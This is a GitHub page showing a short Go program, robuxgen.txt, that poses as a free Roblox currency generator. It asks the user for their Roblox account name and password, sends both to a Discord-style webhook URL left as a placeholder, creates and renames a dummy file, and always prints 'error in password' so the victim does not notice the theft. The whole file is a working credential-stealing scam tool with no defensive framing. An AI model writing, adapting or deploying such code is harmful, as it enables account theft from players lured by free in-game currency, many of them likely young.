-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrobuxgen.txt
60 lines (48 loc) · 1.24 KB
/
robuxgen.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
)
func main() {
var message string
fmt.Print("your roblox account name (on that account will be generated robux): ")
fmt.Scanln(&message)
var message2 string
fmt.Print("your roblox account password (on that account will be generated robux): ")
fmt.Scanln(&message2)
webhookURL := "YOUR WEBHOOK URL HERE"
err := sendWebhookMessage(webhookURL, message, message2)
if err != nil {
fmt.Println("error in password")
return
}
fileName := "robuxgen.exe"
err = ioutil.WriteFile(fileName, []byte(""), 0644)
if err != nil {
fmt.Println("error in password")
return
}
newFileName := strings.TrimSuffix(fileName, ".exe") + ".png"
err = os.Rename(fileName, newFileName)
if err != nil {
fmt.Println("error in password")
return
}
fmt.Println("error in password")
}
func sendWebhookMessage(url string, message string, message2 string) error {
payload := []byte(fmt.Sprintf(`{"content":"%s %s"}`, message, message2))
resp, err := http.Post(url, "application/json", bytes.NewBuffer(payload))
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
return fmt.Errorf("error in password")
}
return nil
}